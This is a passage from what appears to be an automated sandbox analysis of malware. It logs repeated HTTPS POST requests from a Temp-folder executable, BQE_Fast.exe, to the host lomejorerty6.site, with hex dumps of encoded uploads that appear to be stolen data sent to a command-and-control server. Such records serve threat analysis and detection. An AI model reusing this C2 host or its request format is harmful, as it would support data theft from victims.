                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  Content-Length: 208
                                                                                                                                                                  Host: lomejorerty6.site
                                                                                                                                                                  2024-12-07 14:44:29 UTC208OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 01 dc e4 a7 12 08 00 00 00 a7 00 00 00 95 00 00 00 b6 c6 40 2b 0f 0f 0f 0f 0f 0f 0f 0f 09 0f 0f 0f 2a 8e 2e b6 c6 40 2b 0f 0f 0f 0f 0f 0f 0f 0f cb 0f 0f 0f af 99 03 03 57 0f 0f 0f 0f 0f 0f 0f 55 0f 55 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f af 99 03 01 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0d 0f 0f 0f af 99 05 03 0f 0f 0f 0f f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 0f 0f f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 68 5a 8b aa 0e b9 96 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
                                                                                                                                                                  Data Ascii: @+*.@+WUUhZ
                                                                                                                                                                  2024-12-07 14:44:30 UTC806INHTTP/1.1 204 No Content
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:30 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ie: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hGl%2FnoRgzDC5n9vOWJNAuVD6fgUOQxGAkOK1%2FEjrhMPMfHbEywHWqYNyv40rW0QyOd22cRA3plWqWc8ZbnB%2F1LzP4UABO5TB%2B2L2KAqBU7vMCoEw0arWwOOTz%2B%2BsTs9%2F67lsyw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54b46d8e04268-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=2139&min_rtt=2134&rtt_var=812&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1238&delivery_rate=1338835&cwnd=252&unsent_bytes=0&cid=7f384584843c50bd&ts=659&x=0"


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  5192.168.2.449793104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:33 UTC397OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  Content-Length: 103358
                                                                                                                                                                  Host: lomejorerty6.site
                                                                                                                                                                  2024-12-07 14:44:33 UTC15331OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 01 20 2e be 3d 08 00 00 00 a7 00 00 00 33 3d 01 00 4f 53 72 75 0f 0f 0f 0f 0f 0f 0f 0f 96 0b 0f 0f 28 8e 2e 2a 3e 8e 2e 42 89 df eb d1 d5 c5 bc 67 89 7b b7 a5 e9 c5 eb e9 b7 db d1 d3 c5 e9 b7 8d ef ef 87 cd e7 cd b7 97 d1 c9 cd d7 b7 81 d1 d1 c1 d7 c5 b7 89 df eb d1 d5 c5 b7 a5 e9 c5 eb 4f 87 cd e7 cd 2c 3c 8e 2e 40 87 c5 c3 cd e5 d7 e7 bc 77 89 7b b7 a5 e9 c5 eb e9 b7 db d1 d3 c5 e9 b7 8d ef ef 87 cd e7 cd b7 97 d1 c9 cd d7 b7 81 d1 d1 c1 d7 c5 b7 89 df eb d1 d5 c5 b7 a5 e9 c5 eb 4f 87 cd e7 cd b7 87 c5 c3 cd e5 d7 e7 bc 67 c9 df eb d1 d5 dd e5 d5 b1 cb eb d1 e1 e9 c5 eb e9 b7 89 df eb d1 d5 c5 b7 ef eb d1 c3 dd d7 c5 e9 b7 87 c5 c3 cd e5 d7 e7 b7 97 d1 c1 dd d3 4f 87 cd e7 cd bc 6d c9 df eb d1 d5 dd
                                                                                                                                                                  Data Ascii: .=3=OSru(.*>.Bg{O,<.@w{OgOm
                                                                                                                                                                  2024-12-07 14:44:33 UTC15331OUTData Raw: 37 27 cd b5 67 07 28 fa a0 e1 9f 72 8b d7 77 fb 59 de be 83 41 7c 22 b5 bd 82 6c b7 06 af bc fb ab 23 87 22 ae 3b cd df 9a bb 0a 9b 76 6e 95 ea 54 b5 a3 d8 27 b4 b2 7b 65 73 6f 95 a1 a1 63 88 45 86 e2 6a 78 a8 66 0f 1a f0 2d a2 01 4e ea d0 20 46 bc 16 33 3f 73 18 e7 1b 4d af ba db c6 6a 3c 94 2c 06 6a b1 33 83 77 22 cb a9 dc 1b f9 77 cb 68 d8 3b df 52 b3 82 e6 08 fb 9b 2b e9 77 ae 88 1d 19 f5 89 10 55 13 93 f6 54 34 1d b1 b5 ad c4 97 ff e5 72 89 9c ee e8 1d 9f b6 b4 71 bf f3 e8 ba 56 12 a3 34 cd 40 01 af 9f b2 0e 05 06 db 37 35 12 55 88 a3 04 97 39 fd 20 e2 24 81 4d 5a e2 cc 31 94 8c b2 8c 08 df d5 48 e3 c1 a2 c4 5f c5 b9 0d 4d 11 f3 e2 c8 89 b6 b1 08 ce 3d 78 ee f7 c5 26 e5 ad c6 06 03 cb 90 c9 df 7a ce ed 29 3a a6 22 b4 39 c2 78 33 4c 78 24 d3 e1 ce bf
                                                                                                                                                                  Data Ascii: 7'g(rwYA|"l#";vnT'{esocEjxf-N F3?sMj<,j3w"wh;R+wUT4rqV4@75U9 $MZ1H_M=x&z):"9x3Lx$
                                                                                                                                                                  2024-12-07 14:44:33 UTC15331OUTData Raw: e2 a3 a5 9e c4 9b 0f 4b 8c 50 16 45 18 ba 5e 31 37 dc 5e 64 42 d7 b1 5d a3 a9 f1 82 f2 db 73 73 8c 6c c3 f9 98 59 36 bb 5d 0e d4 db 0f d9 f1 99 74 41 03 73 25 7a a8 24 64 42 24 d0 fb ce 43 7e 58 99 5e b6 e5 a8 ed 51 a7 88 db 9e 7f 8d 93 8b 7d d8 08 ea 0c 01 5d 96 90 59 57 99 44 8d 55 a1 40 e8 9f 46 61 2b 8b 03 26 93 a8 bf f7 79 fa 6d 77 41 41 d2 c9 4d ec 4a 75 cb 29 72 d9 de fd 12 71 02 e1 69 03 b4 ae d0 7c e6 e5 91 ae 62 ff c6 15 aa 8a 80 67 da 35 2a 82 98 0e 93 1c fc c4 42 00 93 dc 7c a3 74 8f 67 e1 0c 6a 74 9f 77 e1 7b 44 0d c0 8f 5f 1b a1 75 b8 54 d0 97 05 ed 4f 81 49 1a 13 62 d6 92 a5 27 6c 46 65 e1 6f 38 48 64 77 5c b3 91 bc d7 27 0d 3c ed e9 b2 c6 89 21 c0 2e 6b 63 43 0c f7 ed 1a 2c c3 52 a0 94 0b 75 0b 00 3b 86 22 8a 0d 3e ee fb 68 4e 0e ca 5a 23
                                                                                                                                                                  Data Ascii: KPE^17^dB]sslY6]tAs%z$dB$C~X^Q}]YWDU@Fa+&ymwAAMJu)rqi|bg5*B|tgjtw{D_uTOIb'lFeo8Hdw\'<!.kcC,Ru;">hNZ#
                                                                                                                                                                  2024-12-07 14:44:33 UTC15331OUTData Raw: 2e 15 5e ff 9f 71 5b d6 c1 79 41 17 13 65 94 2c 6d cf ec 2e f3 be 27 49 90 a4 50 8a 25 a8 0d ef ef 5a cd 32 16 0d 12 11 d6 48 fb 67 52 9f 3b 13 6f 46 1a e6 43 6c ab 52 6b 86 61 b7 7b a9 9a 4e ec ff 7e 43 75 11 ed 2a a6 12 23 06 22 f8 97 09 4b 63 64 8b 31 11 c9 fe 9a ac 88 41 a1 94 9c 64 60 8b a6 38 7f f7 ec 20 8a f4 f0 d2 9e 14 05 7b 45 de 14 fd 4b ac 38 8a 3f d2 e9 e7 6e be a0 eb 74 3d 56 cc f3 41 11 98 f7 65 70 22 f2 17 4c 61 a2 1e 06 31 1a f5 7c 90 5f 4f cb b5 59 e6 cc 6f 02 21 3f 75 77 e2 a4 77 b8 fb 99 06 b0 1c 88 ef f1 9c e8 05 7b 55 de 14 c5 4b ac 78 8a 3f 32 e8 e7 6e 7e aa eb f5 3b 56 cc f9 41 11 41 f5 65 01 20 f2 57 4e 61 62 1f 36 31 1b db 7c 90 6b 4f cb c3 55 e6 7a 6e 02 b8 3b 77 97 e3 22 b7 30 09 99 06 66 1c 88 87 f1 9c 7c 05 ba bc 8a 34 e2 7e
                                                                                                                                                                  Data Ascii: .^q[yAe,m.'IP%Z2HgR;oFClRka{N~Cu*#"Kcd1Ad`8 {EK8?nt=VAep"La1|_OYo!?uww{UKx?2n~;VAAe WNab61|kOUzn;w"0f|4~
                                                                                                                                                                  2024-12-07 14:44:33 UTC15331OUTData Raw: 86 6d 3e 9d 97 b4 31 ce 3d e8 94 cd 84 f1 a2 75 d3 45 55 e3 63 a0 11 59 4a 8d 05 61 2a 1a 4f 68 c8 6c a7 1d 81 64 72 91 95 bc 93 bb d3 37 d8 73 4c 42 d7 80 97 b8 06 62 ba ad 31 91 be f3 c6 d8 13 59 53 c1 03 2d 4b 57 74 d3 ab 38 7f 0a 6b 81 e6 b2 d8 3c fe a4 72 a4 69 7f 57 4d 06 82 83 25 a7 fe 00 6c 71 31 a9 83 10 83 24 be eb 11 0f 8e 6f ae 3d 30 8f c0 a4 aa ba ff 5c af 57 24 1a 84 8b 6e 50 51 25 18 c8 7c ca 63 d3 1e 11 45 d3 1e cf a9 e4 8d 64 5b ed 89 17 d7 60 ad 24 3e f0 0a f2 d6 9d fe 9d 16 98 e8 a1 50 55 76 71 99 97 e8 ba d6 24 fc 98 20 c1 ec 4b b3 3e d5 b7 bd 5e 65 14 ef a8 3e d0 12 27 41 ae 86 c7 dd 49 65 d0 10 5e 2e 16 e1 73 d7 01 30 74 2b 37 71 c1 25 ca c8 ee e8 27 04 7e f6 fe 9c 9f a1 ad 43 ae b8 a9 44 54 26 8b 16 21 a1 3f b8 64 6d b0 25 31 63 8a
                                                                                                                                                                  Data Ascii: m>1=uEUcYJa*Ohldr7sLBb1YS-KWt8k<riWM%lq1$o=0\W$nPQ%|cEd[`$>PUvq$ K>^e>'AIe^.s0t+7q%'~CDT&!?dm%1c
                                                                                                                                                                  2024-12-07 14:44:33 UTC15331OUTData Raw: db bc 45 aa cb c0 84 fc 73 af 52 78 be f0 cf 8c 66 a3 a1 14 08 a4 f7 d6 72 36 c5 7c c2 14 6a 3f f3 7d 78 9a 18 5a bf e0 6c b9 f4 ae 78 5c 64 67 b0 66 a2 92 22 65 bd bb 7b 30 59 83 20 82 71 21 28 50 38 a2 bc 68 83 f1 2f 96 e9 57 31 f0 df c1 db 79 23 51 d6 ea b3 3b cc d1 5b 93 cc a2 c2 fa d4 54 64 d7 d5 01 88 4a c3 12 fe f1 0f 0f 0f 8f 15 8c f6 71 0f 0f 0f af 71 ee f2 11 0f 0f 0f a6 11 76 f0 09 0f 0f 0f e4 c8 f0 0f af 99 09 07 55 0f 0f 1f 1f 0f 25 13 75 bd 93 02 23 02 f0 f0 f0 f0 f0 f0 f0 f0 51 0f 27 0f c9 df eb d1 d5 dd e5 d5 b1 cb eb d1 e1 e9 c5 eb e9 b7 85 c7 c1 c5 b7 ef eb d1 c3 dd d7 c5 e9 b7 87 c5 c3 cd e5 d7 e7 b7 9f dd e9 e7 d1 eb fd 0d 0f 2f 0f 0f ee 0d 0f 0f 0f 0f 0f 22 1f 0f 0f 0f 0f 0f 0f d4 b8 91 d7 b8 a2 35 8e ed aa 6a 55 80 12 54 7e 5c 58 43
                                                                                                                                                                  Data Ascii: EsRxfr6|j?}xZlx\dgf"e{0Y q!(P8h/W1y#Q;[TdJqqvU%u#Q'/"5jUT~\XC
                                                                                                                                                                  2024-12-07 14:44:33 UTC11372OUTData Raw: 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f ce f9 96 a8 f8 ea 48 c9 c9 ac f0 a0 54 97 a0 c8 92 44 fb 54 39 20 79 b4 9b e0 cf fa e8 f2 9c 69 a9 80 92 95 24 92 35 f9 ea 3c 5c ab 7b c5 e1 e1 7a 72 60 a3 74 7a 60 a8 54 e7 80 21 18 f9 19 48 10 75 23 55 12 e0 58 d9 66 52 20 21 ba ec c4 bb f7 44 a9 d2 62 3b a8 34 d3 58 3d e1 62 1e b2 60 42 2c 55 6b 24 e3 20 9b 44 fc 9b c1 72 e7 d3 da c4 e9 44 c0 90 36 fb e2 be 3c 19 44 40 40 53 26 82 99 51 34 7b e0 a6 e9 c0 90 24 92 77 e0 aa 5c c8 18 81 73 b7 3f f5 cc 04 df ec 8a db b1 da 24 3c 7e a9 d3 86 b4 9b 64 aa 54 26 79 ed 44 75 69 b1 72 a6 18 b8 64 44 d3 b4 6b 80 32 14 75 76 c5 f2 aa d2 ab 54 bb 7b e5 fa b6 a6 9c 5c 69 dc 72 d2 55 e5 c8 e3 48 69 7e 00 a8 90 34 59 34 73 f0 96 69 44 e8 40 91 74 ef f3 5a 67 73 68 41
                                                                                                                                                                  Data Ascii: HTDT9 yi$5<\{zr`tz`T!Hu#UXfR !Db;4X=b`B,Uk$ DrD6<D@@S&Q4{$w\s?$<~dT&yDuirdDk2uvT{\irUHi~4Y4siD@tZgshA
                                                                                                                                                                  2024-12-07 14:44:35 UTC806INHTTP/1.1 204 No Content
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:34 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ie: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sg5eOaySJq7qIg4N5hdSLC6NFwhz1K%2BJO4aXW%2BVTMGnvoLFoCW1eutnVxRObtlTHnjte7Fux1TNKqfasutnbupK4jLkqzj8GyDIHCk278ReTiqwDayzYjlkba5p%2BrT%2B1LH6PGg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54b60ecae426a-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1692&rtt_var=660&sent=47&recv=112&lost=0&retrans=0&sent_bytes=2842&recv_bytes=104677&delivery_rate=1624930&cwnd=223&unsent_bytes=0&cid=a563fc82a2fc1556&ts=1162&x=0"


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  6192.168.2.449799104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:36 UTC394OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  Content-Length: 745
                                                                                                                                                                  Host: lomejorerty6.site
                                                                                                                                                                  2024-12-07 14:44:36 UTC745OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 01 c1 be 2d 28 08 00 00 00 a7 00 00 00 95 00 00 00 8c 72 55 5f 0f 0f 0f 0f 0f 0f 0f 0f 09 0f 0f 0f 2a 8e 2e 8c 72 55 5f 0f 0f 0f 0f 0f 0f 0f 0f cb 0f 0f 0f af 99 03 03 57 0f 0f 0f 0f 0f 0f 0f 55 0f 55 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f af 99 03 01 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0d 0f 0f 0f af 99 05 03 0f 0f 0f 0f f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 0f 0f f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 68 5a 8b aa 0e b9 96 f9 b6 d3 2f 39 08 00 00 00 a7 00 00 00 a7 00 00 00 62 a8 51 7d 0f 0f 0f 0f 0f 0f 0f 0f 25 0f 0f 0f 2a 8e 2a 24 8e 0b 0d 48 2a 8e 0f 4e 24 8e 0d 0d 48 2a 8e 0f 4e 62 a8 51 7d 0f 0f 0f 0f 0f 0f
                                                                                                                                                                  Data Ascii: -(rU_*.rU_WUUhZ/9bQ}%**$H*N$H*NbQ}
                                                                                                                                                                  2024-12-07 14:44:36 UTC796INHTTP/1.1 204 No Content
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:36 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ie: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4pCxU1a28pp3t6zemZnF%2F77D2nwzyjPk5pFzD1tlsAnnQ6ewBAcQ7WEIbxOEY6P9qDgeTOpDo22J%2B3gsG34FkM0UEUDKfKDQrKyDwMesVU2914nUrpecg1H6edVQXizBbSpKYw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54b709ba74382-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1893&min_rtt=1619&rtt_var=803&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1775&delivery_rate=1803582&cwnd=248&unsent_bytes=0&cid=c7e048ae4ad16c36&ts=613&x=0"


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  7192.168.2.449805104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:38 UTC394OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  Content-Length: 212
                                                                                                                                                                  Host: lomejorerty6.site
                                                                                                                                                                  2024-12-07 14:44:38 UTC212OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 01 c0 81 55 2c 08 00 00 00 a7 00 00 00 99 00 00 00 8e 0c a5 57 0f 0f 0f 0f 0f 0f 0f 0f 01 0f 0f 0f 28 8e 8e 2a 8e 2c 0f 8e 0c a5 57 0f 0f 0f 0f 0f 0f 0f 0f cb 0f 0f 0f af 99 03 03 57 0f 0f 0f 0f 0f 0f 0f 55 0f 55 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f af 99 03 01 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0d 0f 0f 0f af 99 05 03 0f 0f 0f 0f f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 0f 0f f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 68 5a 8b aa 0e b9 96 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
                                                                                                                                                                  Data Ascii: U,W(*,WWUUhZ
                                                                                                                                                                  2024-12-07 14:44:38 UTC801INHTTP/1.1 204 No Content
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:38 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ie: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1W2Tn5oGfeeozn1FDF6jdUEIsIS1UWT0R3LgyCVXxENxBD%2Fz1Yf3Bk3noCfvF%2FXMlaTZbN8o7%2F%2FPMW7y2GOb8ac6HTrBdZVm1SOBDVqrvDiIIfm2TNHmAicc81%2FSTyN5zajYdA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54b7d6fc40c74-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1677&min_rtt=1669&rtt_var=642&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=1242&delivery_rate=1682027&cwnd=84&unsent_bytes=0&cid=857f91f873ff69a1&ts=616&x=0"


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  8192.168.2.449810104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:43 UTC394OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  Content-Length: 380
                                                                                                                                                                  Host: lomejorerty6.site
                                                                                                                                                                  2024-12-07 14:44:43 UTC380OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 01 4d 7e e4 10 08 00 00 00 a7 00 00 00 95 00 00 00 95 f3 c6 2f 0f 0f 0f 0f 0f 0f 0f 0f 09 0f 0f 0f 2a 8e 2e 95 f3 c6 2f 0f 0f 0f 0f 0f 0f 0f 0f cb 0f 0f 0f af 99 03 03 57 0f 0f 0f 0f 0f 0f 0f 55 0f 55 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f af 99 03 01 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0d 0f 0f 0f af 99 05 03 0f 0f 0f 0f f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 0f 0f f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 68 5a 8b aa 0e b9 96 f9 12 01 1d 28 08 00 00 00 a7 00 00 00 94 00 00 00 2b 0d 35 5f 0f 0f 0f 0f 0f 0f 0f 0f 0b 0f 0f 0f 2c 2e 2b 0d 35 5f 0f 0f 0f 0f 0f 0f 0f 0f cb 0f 0f 0f af 99 03 03 57 0f 0f 0f 0f 0f 0f 0f 55
                                                                                                                                                                  Data Ascii: M~/*./WUUhZ(+5_,.+5_WU
                                                                                                                                                                  2024-12-07 14:44:43 UTC794INHTTP/1.1 204 No Content
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:43 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ie: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UnD1Z8XnWW0faQRTvU2N0l3AM88QzpC3rz5GaN7aZgxX9gkt2kLHW17sA6pA278KgNf3AI%2F3kIu4Bfr4a8imSNZ2tLGcOIowNJoCWJw1vCBSH2W8wHGDPZgs51vfYUNbD4M4ew%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54b9bcd884258-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=2219&min_rtt=2204&rtt_var=856&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1410&delivery_rate=1256454&cwnd=173&unsent_bytes=0&cid=c330e8da505c26fe&ts=650&x=0"


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  9192.168.2.449822104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:45 UTC396OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  Content-Length: 39217
                                                                                                                                                                  Host: lomejorerty6.site
